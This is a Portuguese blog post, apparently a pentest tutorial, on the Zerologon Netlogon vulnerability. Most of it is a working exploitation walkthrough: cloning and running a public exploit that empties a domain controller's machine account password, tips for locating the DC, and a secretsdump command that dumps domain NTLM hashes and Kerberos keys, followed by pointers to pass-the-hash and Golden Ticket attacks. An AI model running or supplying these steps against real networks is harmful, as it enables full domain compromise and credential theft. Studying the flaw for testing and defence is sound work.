Zerologon o terror dos SysAdmin.
Uma falha no esquema de criptografia na autenticação do NET LOGON permite com que um atacante tenha acesso de Domain Admin praticamente instantaneamente !
O especialista de segurança (Tom Tervoort) da Secura descobriu uma falha no esquema de criptografia na autenticação do NET LOGON, forjando um token de autenticação para uma funcionalidade específica do Netlogon permite com que seja possivel alterar a senha do login de serviço da máquina do Controlador de Domínio.
Isso pode até não parecer muita coisa em primeira vista, mas sim é uma falha altamente critica, CVSS de nível 10.0 (o maior nível de criticidade de uma vulnerabilidade).
Como é possivel alterar a senha do login de serviço, agora que temos a senha alterada para outra ou para "null", podemos usar este login para fazer conexões com nível alto de privilegio dentro dos computadores da rede, contando o controlador de domínio (DC).
Com isso, podemos utilizar o pacote de ferramentas do "impacket" para criar Golden Ticket ou fazer um dump das credenciais dos logins do AD usando o "secretsdump".
Walkthrough de exploração
** Para rodar os comandos, esteja logado como root :)
** Não faça exploração em servidores de produção, este ataque faz com que os Controladores de Domínio parem de se comunicar !
Passo-a-Passo para configuração do ambiente para exploração:
apt-get install python3-venv python3-dev -y
mkdir /opt/zerologon/
cd /opt/zerologon/
git clone https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py NOME_DO_DC IP_DO_DC
*	Se você está em um Pentest mas não sabe o nome do DC, pode usar o nbtscan IP_DO_DC para descobrir o nome :)
* Se você está em um Pentest mas não sabe o IP do DC, normalmente o DNS da rede (na maioria das vezes) é o Controlador de domínio (DC), então se você olhar qual o DNS o DHCP entregou pra você, possivelmente é o DC
* Analise o sufixo de DNS entregue na rede, normalmente se você pingar o sufixo de DNS ele aponta para os controladores de domínio da rede na maioria das vezes.
Depois de rodar o exploit acima, deve ser exibido uma tela parecida com essa:
Podemos notar que o script informa:
"Target vulnerable, change accout password to empty string"
- Diz que o alvo está vulnerável e removeu a senha do login de serviço do AD, o login de serviço é o NOME_DO_DC + $
No exemplo acima temos o nome do DC como WIN-A5RN708VOKA então o login de serviço dele é WIN-A5RN708VOKA$
Agora temos um login e senha válido dentro da rede, com um nível de acesso extremamente alto, mas o nível de conexão para logins de serviço são baixos dentro da rede, pra isso precisamos de um login de usuário dentro da rede.
Podemos então usar uma biblioteca dentro do impacket conhecida como secretsdump para extrair os HASH's NTLM e Kerberos keys da máquina atacada, no nosso caso o AD.
Com os HASH's NTLM podemos então nos conectar como usuários legítimos dentro da rede.
para performar o ataque com o secretsdump, volte para a pasta /opt/zerologon (ainda dentro do virtualenv) e rode o seguinte comando:
python impacket/examples/secretsdump.py -just-dc -no-pass 'nome do domínio/usuário do [email protected] DO AD'
Exemplo: python impacket/examples/secretsdump.py -just-dc -no-pass 'foals.lab/[email protected]'
E ao executar o comando acima, temos o DUMP dos HASH's e Chaves do Kerberos:
Agora com os HASH's NTML podemos nos conectar nos computadores dentro da rede como Administrador incluído o DC.
Podemos fazer isso de várias formas, usando metasploit, psexec, xfreerdp, criando Golden Ticket e várias outras formas.
Se você gostaria de conhecer um pouco mais sobre essas técnicas, me envia uma mensagem lá no meu instagram https://instagram.com/carlos.crowsec falando que gostaria de apender mais sobre essas técnicas, assim vou saber que é de interesse publico este tipo de conhecimento, assim posso trazer mais posts aqui no blog sobre essas técnicas :)